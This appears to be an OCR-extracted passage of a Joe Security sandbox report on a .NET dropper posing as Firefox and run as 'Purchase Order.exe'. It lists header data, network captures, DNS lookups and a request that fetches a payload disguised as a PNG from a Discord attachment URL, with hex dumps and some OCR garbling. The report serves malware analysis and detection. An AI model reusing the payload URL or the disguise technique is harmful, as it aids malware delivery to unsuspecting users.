IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2000 0x8 text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x2008 0x48 text
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x2000 0x2310 0x2400 False 0.441189236111 data 5.43446618033 IMAGE_SCN_MEM_EXECUTE,

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rsrc 0x6000 0x83e4 0x8400 False 0.288293087121 data 5.21213109817 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.reloc 0x10000 0xc 0x200 False 0.041015625 data 0.0776331623432 IMAGE_SCN_CNT_INITIALIZED_
DATA,

IMAGE_SCN_MEM_DISCARDAB
LE, IMAGE_SCN_MEM_READ

Resources

Name RVA Size Type Language Country

RT_ICON 0x6160 0x468 GLS_BINARY_LSB_FIRST

RT_ICON 0x65d8 0x10a8 data

RT_ICON 0x7690 0x25a8 data

RT_ICON 0x9c48 0x4228 dBase IV DBT of \200.DBF, blocks size 0, block length
16896, next free block index 40, next free block 0, next
used block 0

RT_GROUP_ICON 0xde80 0x3e data

RT_VERSION Oxded0 0x312 data

RT_MANIFEST Oxelf4 Oxlea XML 1.0 document, UTF-8 Unicode (with BOM) text,
with CRLF line terminators

Imports
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DLL Import

mscoree.dll _CorExeMain

Version Infos

Description Data
Translation 0x0000 0x04b0
LegalCopyright Mozilla
Assembly Version 18.5.0.0
InternalName Ngdkg.exe
FileVersion 18.5.0.0
CompanyName Mozilla
LegalTrademarks

Comments Firefox
ProductName Firefox
ProductVersion 18.5.0.0
FileDescription Firefox
OriginalFilename Ngdkg.exe

Network Behavior

Network Port Distribution

Total Packets: 38

@ 53 (DNS)
® 80 (HTTP)
@ 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 2, 2022 13:01:21.991503000 CEST 49709 443 192.168.2.4 40.126.31.143
May 2, 2022 13:01:21.991692066 CEST 49710 443 192.168.2.4 40.126.31.143
May 2, 2022 13:01:22.931256056 CEST 49711 443 192.168.2.4 40.126.31.143
May 2, 2022 13:01:23.688009024 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688158989 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688246965 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688288927 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688328981 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688355923 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688375950 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688416004 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688431978 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.688446999 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.704385996 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704508066 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704540014 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704565048 CEST 443 49717 204.79.197.200 192.168.2.4

Copyright Joe Security LLC 2022 Page 25 of 85



Timestamp Source Port Dest Port Source IP Dest IP

May 2, 2022 13:01:23.704591036 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704636097 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704689026 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704718113 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704744101 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704854965 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.704884052 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705015898 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705051899 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705075979 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705101967 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705127001 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705152035 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705223083 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705250978 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705276966 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705353022 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705378056 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705404043 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705430984 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705491066 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705518961 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705545902 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705625057 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705652952 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705738068 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705763102 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705789089 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705898046 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705926895 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705951929 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.705977917 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706007957 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706033945 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706078053 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706124067 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706132889 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.706151962 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706218958 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706301928 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706330061 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706355095 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706406116 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706502914 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706617117 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706645012 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706674099 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706697941 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706729889 CEST 49717 443 192.168.2.4 204.79.197.200
May 2, 2022 13:01:23.706814051 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706844091 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706867933 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.706929922 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.707062960 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.707189083 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.707294941 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.707381010 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.707467079 CEST 443 49717 204.79.197.200 192.168.2.4
May 2, 2022 13:01:23.739447117 CEST 443 49717 204.79.197.200 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

May 2, 2022 13:01:23.739667892 CEST 49717 443 192.168.2.4 204.79.197.200

May 2, 2022 13:01:34.042655945 CEST 49757 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.042717934 CEST 443 49757 40.126.31.4 192.168.2.4

May 2, 2022 13:01:34.042870045 CEST 49757 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.043294907 CEST 49757 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.043338060 CEST 443 49757 40.126.31.4 192.168.2.4

May 2, 2022 13:01:34.087539911 CEST 49758 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.087601900 CEST 443 49758 40.126.31.4 192.168.2.4

May 2, 2022 13:01:34.087881088 CEST 49758 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.088130951 CEST 49758 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:34.088150978 CEST 443 49758 40.126.31.4 192.168.2.4

May 2, 2022 13:01:35.040163040 CEST 49759 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:35.040222883 CEST 443 49759 40.126.31.4 192.168.2.4

May 2, 2022 13:01:35.040323019 CEST 49759 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:35.040956020 CEST 49759 443 192.168.2.4 40.126.31.4

May 2, 2022 13:01:35.040983915 CEST 443 49759 40.126.31.4 192.168.2.4

May 2, 2022 13:01:43.776541948 CEST 49673 80 192.168.2.4 93.184.220.29

May 2, 2022 13:01:43.776634932 CEST 49672 80 192.168.2.4 8.248.119.254

May 2, 2022 13:01:44.087126970 CEST 49673 80 192.168.2.4 93.184.220.29

May 2, 2022 13:01:44.149612904 CEST 49672 80 192.168.2.4 8.248.119.254

May 2, 2022 13:01:44.790230989 CEST 49673 80 192.168.2.4 93.184.220.29

May 2, 2022 13:01:44.852957010 CEST 49672 80 192.168.2.4 8.248.119.254

May 2, 2022 13:01:46.087347984 CEST 49673 80 192.168.2.4 93.184.220.29

May 2, 2022 13:01:46.149682045 CEST 49672 80 192.168.2.4 8.248.119.254

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 2, 2022 13:01:58.697439909 CEST 60506 53 192.168.2.4 8.8.8.8

May 2, 2022 13:01:58.719662905 CEST 53 60506 8.8.8.8 192.168.2.4

May 2, 2022 13:02:39.955002069 CEST 64909 53 192.168.2.4 8.8.8.8

May 2, 2022 13:02:40.027796030 CEST 53 64909 8.8.8.8 192.168.2.4

May 2, 2022 13:03:02.662627935 CEST 54069 53 192.168.2.4 8.8.8.8

May 2, 2022 13:03:02.685784101 CEST 53 54069 8.8.8.8 192.168.2.4

May 2, 2022 13:03:15.053272963 CEST 57747 53 192.168.2.4 8.8.8.8

May 2, 2022 13:03:15.073618889 CEST 53 57747 8.8.8.8 192.168.2.4

May 2, 2022 13:03:39.567951918 CEST 50061 53 192.168.2.4 8.8.8.8

May 2, 2022 13:03:39.638019085 CEST 53 50061 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 2, 2022 13:01:58.697439909 CEST 192.168.2.4 8.8.8.8 Oxd8a9 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

May 2, 2022 13:02:39.955002069 CEST 192.168.2.4 8.8.8.8 0x8306 Standard query  mail.pilot A (IP address) IN (0x0001)
0) garage.com

May 2, 2022 13:03:02.662627935 CEST 192.168.2.4 8.8.8.8 0x2c57 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

May 2, 2022 13:03:15.053272963 CEST 192.168.2.4 8.8.8.8 0x1f84 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

May 2, 2022 13:03:39.567951918 CEST 192.168.2.4 8.8.8.8 Ox4ell Standard query  mail.pilot A (IP address) IN (0x0001)
(0) garage.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 2, 2022 8.8.8.8 192.168.2.4 0xd8a9 No error (0) cdn.discor 162.159.129.233 A (IP address) IN

13:01:58.719662905 CEST dapp.com (0x0001)

May 2, 2022 8.8.8.8 192.168.2.4 0xd8a9 No error (0) cdn.discor 162.159.130.233 A (IP address) IN

13:01:58.719662905 CEST dapp.com (0x0001)

May 2, 2022 8.8.8.8 192.168.2.4 0xd8a9 No error (0) cdn.discor 162.159.133.233 A (IP address) IN

13:01:58.719662905 CEST dapp.com (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 2, 2022 8.8.8.8 192.168.2.4 0xd8a9 No error (0) cdn.discor 162.159.135.233 A (IP address) IN
13:01:58.719662905 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0xd8a9 No error (0) cdn.discor 162.159.134.233 A (IP address) IN
13:01:58.719662905 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x7c77 No error (0) prda.aadg. www.tm.a.prd.aad CNAME IN
13:02:02.778625011 CEST msidentity.com g.trafficmanager.n (Canonical (0x0001)
et name)
May 2, 2022 8.8.8.8 192.168.2.4 0x8306 No error (0) mail.pilot 5.250.241.50 A (IP address) IN
13:02:40.027796030 CEST garage.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x2c57 No error (0) cdn.discor 162.159.130.233 A (IP address) IN
13:03:02.685784101 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x2c57 No error (0) cdn.discor 162.159.129.233 A (IP address) IN
13:03:02.685784101 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x2c57 No error (0) cdn.discor 162.159.134.233 A (IP address) IN
13:03:02.685784101 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x2c57 No error (0) cdn.discor 162.159.135.233 A (IP address) IN
13:03:02.685784101 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x2c57 No error (0) cdn.discor 162.159.133.233 A (IP address) IN
13:03:02.685784101 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x1f84 No error (0) cdn.discor 162.159.130.233 A (IP address) IN
13:03:15.073618889 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x1f84 No error (0) cdn.discor 162.159.134.233 A (IP address) IN
13:03:15.073618889 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x1f84 No error (0) cdn.discor 162.159.133.233 A (IP address) IN
13:03:15.073618889 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x1f84 No error (0) cdn.discor 162.159.129.233 A (IP address) IN
13:03:15.073618889 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 0x1f84 No error (0) cdn.discor 162.159.135.233 A (IP address) IN
13:03:15.073618889 CEST dapp.com (0x0001)
May 2, 2022 8.8.8.8 192.168.2.4 Ox4ell No error (0) mail.pilot 5.250.241.50 A (IP address) IN
13:03:39.638019085 CEST garage.com (0x0001)

HTTP Request Dependency Graph

e cdn.discordapp.com

HTTPS Proxied Packets
: A Destination
Session ID Source IP Source Port Destination IP Port Process
0 192.168.2.4 49760 162.159.129.233 443 C:\Users\user\Desktop\Purchase Order.exe
kB!
Timestamp ytes Direction Data
transferred
2022-05-02 11:02:01 UTC 0 ouT GET /attachments/968108194327052308/970585558680223784/Nqdkg_Cbadgewx.png HTTP/1.1

Host: cdn.discordapp.com
Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-05-02 11:02:01 UTC 0

2022-05-02 11:02:01 UTC 1

2022-05-02 11:02:01 UTC 1

2022-05-02 11:02:01 UTC 2

2022-05-02 11:02:01 UTC 4

2022-05-02 11:02:01 UTC 5

2022-05-02 11:02:01 UTC 6

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Date: Mon, 02 May 2022 11:02:01 GMT

Content-Type: image/png

Content-Length: 1250816

Connection: close

CF-Ray: 70504320dcc79b4f-FRA

Accept-Ranges: bytes

Age: 10493

Cache-Control: public, max-age=31536000

ETag: "8b4e3118a9ad10f525d58287a5b3d59¢"

Expires: Tue, 02 May 2023 11:02:01 GMT

Last-Modified: Mon, 02 May 2022 07:20:29 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1651476029852442

X-goog-hash: crc32c=hwhX1A==

X-goog-hash: md5=i04xGKmtEPUI1YKHpbPVng==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1250816

X-GUploader-UploadID: ADPycdvlLx3JracfYsvVBAgmX4a-C82nsbcn_2UpORFgabos6mHUOzxh5QL4HNIUSOso
t6bjxrgVH3mfckuvec55iPKWO0zK8RZR

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:\Wa.nel.cloudflare.comV/report\/v3?s=bA8mo1PFpeBHut5egOzHQtM9kHe1T9Dg
MNZM3Y1G04Igat6 SwDZpQJeT1P2X5TmwWAW7j9YZ%2B%2FYmHwzDDYKxDc%2B9Z7vZRWSYsNCkxjsDoZW
gShTpXS2E0PVd5B1t0S6fSU0C3Pg%3D%3D"}], "group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 3f 1f dd 48 64 00 01 00 00 1f dd 48 64 00 01 00 00 00 01 00 00 fe ef 04 bd 00 00 00 00 00 4f 00 46 00 4e 00
49 00 5f 00 4e 00 4f 00 49 00 53 00 52 00 45 00 56 00 5f 00 53 00 56 00 00 00 34 03 42 00 00 00 00 00 00 00 00 00 00
03 4200 13 40 58 00 00 00 48 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 30 00 00 00 01 00
01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: ?HdHdOFNI_NOISREV_SV4BB@XHO

Data Raw: 02 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 13 00 00 00 01 05 61 33 61 30 35 64 31 31 66
37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2¢ 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43
20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2¢ 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 51 00 00 00 02 Oc O
000 00 00 00 00 00 01 ff ff ff ff 00 00 00 01 00 43 Ob 00 00 00 01 08 00 00 00 01 00 00 00 2d 0f 00 00 00 26 09 00 00 00
01 00 00 00 2c 11 74 74 20 6d 6d 3a 68 07 00 00 00 55 06 6d 6d 3a 48 04 00 00 00 54 06 74 74 20 6d 6d 3a 68 68 08 00
00 00 53 06 00 00 00 27 09 00 00 00 04 00 00 00 2b 11 00 00 00 23 09 00 00 00 01 00 00 00 2a 11 64 64 2d 4d 4d 2d 79
79 79 79 0a 00 00 00 50 06 00 00 00 24 09 00 00 00 02 00 00 00 29 11

Data Ascii: eziS.gniwarD.metsySa3a05d11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gniwarD.mets
ySQC-&,tt mm:hUmm:HTtt mm:hhS'+#*dd-MM-yyyyP$)

Data Raw: 52 73 69 5f 6d Oc 73 72 61 64 6e 65 6¢ 61 43 6¢ 61 6e 6f 69 74 70 6f 11 73 65 6d 61 4e 61 72 45 68 73 69 6¢
67 6e 45 76 65 72 62 62 61 5f 6d 17 73 65 6d 61 4e 61 72 45 76 65 72 62 62 61 5f 6d 10 73 65 6d 61 4e 61 72 65 5f 6d
0a 73 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 4c 6¢ 6¢ 61 13 73 6€ 72 65 74 74 61 50 65 6d 69 54 74 72 6f 68 53 6C
6c 61 14 73 6e 72 65 74 74 61 50 65 74 61 44 67 6e 6f 4¢c 6¢ 6¢ 61 13 73 6 72 65 74 74 61 50 65 74 61 44 74 72 6 68 5
3 6¢c 6¢ 61 14 73 6e 72 65 74 74 61 50 68 74 6e 6f 4d 72 61 65 59 6¢ 6¢ 61 14 6e 72 65 74 74 61 50 65 6d 69 54 74 72 6f
68 73 10 6e 72 65 74 74 61 50 65 6d 69 54 67 6e 6f 6¢ Of 6€ 72 65 74 74 61 50 68 74 6€ 6f 4d 72 61 65 79 10 6e 72 65
7474 6150 65 74 61 44 74 72 6f 68 73 10 6e 72 65 74 74 61 50 65 74

Data Ascii: Rsi_msradnelaClanoitposemaNarEhsilgnEverbba_msemaNarEverbba_msemaNare_msnrettaPemiTgnoL|
lasnrettaPemiTtrohSllasnrettaPetaDgnoLllasnrettaPetaDtrohSllasnrettaPhtnoMraeYllanrettaPemiTtrohsnrettaPemiTgn
olnrettaPhtnoMraeynrettaPetaDtrohsnrettaPet

Data Raw: 75 63 Oe 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 79 63 6e 65 72 72 75 63 18 72 6f 74 61 72 61 70 65
537075 6f 72 47 79 63 6e 65 72 72 75 63 16 72 6f 74 61 72 61 70 65 53 70 75 6f 72 47 72 65 62 6d 75 6e 14 72 6f 74 61
726170 65 53 6¢ 61 6d 69 63 65 44 72 65 62 6d 75 6€ 16 6e 67 69 53 65 76 69 74 61 67 65 6e Oc 6e 67 69 53 65 76 69
74 69 73 6f 70 Oc 73 65 7a 69 53 70 75 6f 72 47 74 6e 65 63 72 65 70 11 73 65 7a 69 53 70 75 6f 72 47 79 63 6e 65 72
727563 12 73 65 7a 69 53 70 75 6f 72 47 72 65 62 6d 75 6e 10 00 00 00 22 6f 66 6e 49 74 61 6d 72 6f 46 72 65 62 6d 7
5 4e 2e 6e 6f 69 74 61 7a 69 6¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 25 00 00 00 04 04 00 00 00 7f 00 00 00 00 00 00 00
00 07 09 00 00 00 07 09 01 2¢ 01 00 00 00 08 06 08 01 08 01 00 00

Data Ascii: ucrotarapeSlamiceDycnerrucrotarapeSpuorGycnerrucrotarapeSpuorGrebmunrotarapeSlamiceDrebm
unngiSevitagenngiSevitisopseziSpuorGtnecrepseziSpuorGycnerrucseziSpuorGrebmun"ofnitamroFrebmuN.noita
ZilabolG.metsyS%,
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kBytes

Timestamp transferred Direction
2022-05-02 11:02:01 UTC 8 IN
2022-05-02 11:02:01 UTC 9 IN
2022-05-02 11:02:01 UTC 10 IN
2022-05-02 11:02:01 UTC 12 IN
2022-05-02 11:02:01 UTC 13 IN
2022-05-02 11:02:01 UTC 14 IN
2022-05-02 11:02:01 UTC 16 IN
2022-05-02 11:02:01 UTC 17 IN
2022-05-02 11:02:01 UTC 18 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 02 02 00 02 02 00
02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 02 02 00 02 02 00 02 02 04 04 04 04 04
04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00 00 00 00 00 00 00 00 00 04 04 04 04 04 04 04 04 04 04 04 04
04 04 04 04 04 04 04 02 01 00 01 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02
0201 00 01 0201 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 00 01 02 03 03
03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 01 02 01 00 01 02 03 03 03 03 03 03 03 03 03
03 03 03 03 03 03 0303 03 03 03 03 03 03 03 03 03 01 02 01 00 01 02 03 03

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74
6c 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 20 2c 65
7a 6953 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 66 39 38 30 65 34 33 39 31 36 35 63 35 61 37 37 62 3d 6e 65 6b
6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2c 30 2e 30 2e 30 2e 34 3d 6e 6
f69 73 72 65 56 20 2c 62 69 6¢ 72 6f 63 73 6d 20 2c 6f 66 6e 49 65 72 75 74 6¢ 75 43 2e 6e 6f 69 74 61 7a 69 6¢ 61 62
6f 6¢ 47 2e 6d 65 74 73 79 53 6d 39 38 30 65 34 33 39 31 36 35 63 35 61 37 37 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6C
62 75 50 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2c 30

Data Ascii: 7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,gniwarD.metsyS ,eziS.gniwarD.metsySf980e
439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=noisreV ,bilrocsm ,ofnlerutluC.noitazilabolG.metsySm980e
439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC ,0

Data Raw: cc 98 b8 1a 00 c7 21 2e d6 23 Oc 07 7f 88 61 48 c6 44 71 ce 3b 18 Oe c3 41 bb 3d 9b 27 a9 92 5f ee d7 28 01
205d db 83 41 bb 31 99 00 6a 8a 48 9b 88 bl bc 77 5b 74 9d Ob 7a 37 15 4c d1 71 97 48 e0 7e 42 58 dc 85 68 12 9b 86
ee 38 8f 08 38 30 ¢7 b1 55 1d 14 a0 69 0f 09 a0 d2 13 71 dc ee d2 91 74 bc d9 f2 6a be 8e 96 59 33 ed 38 3¢ 76 5f a8 b8
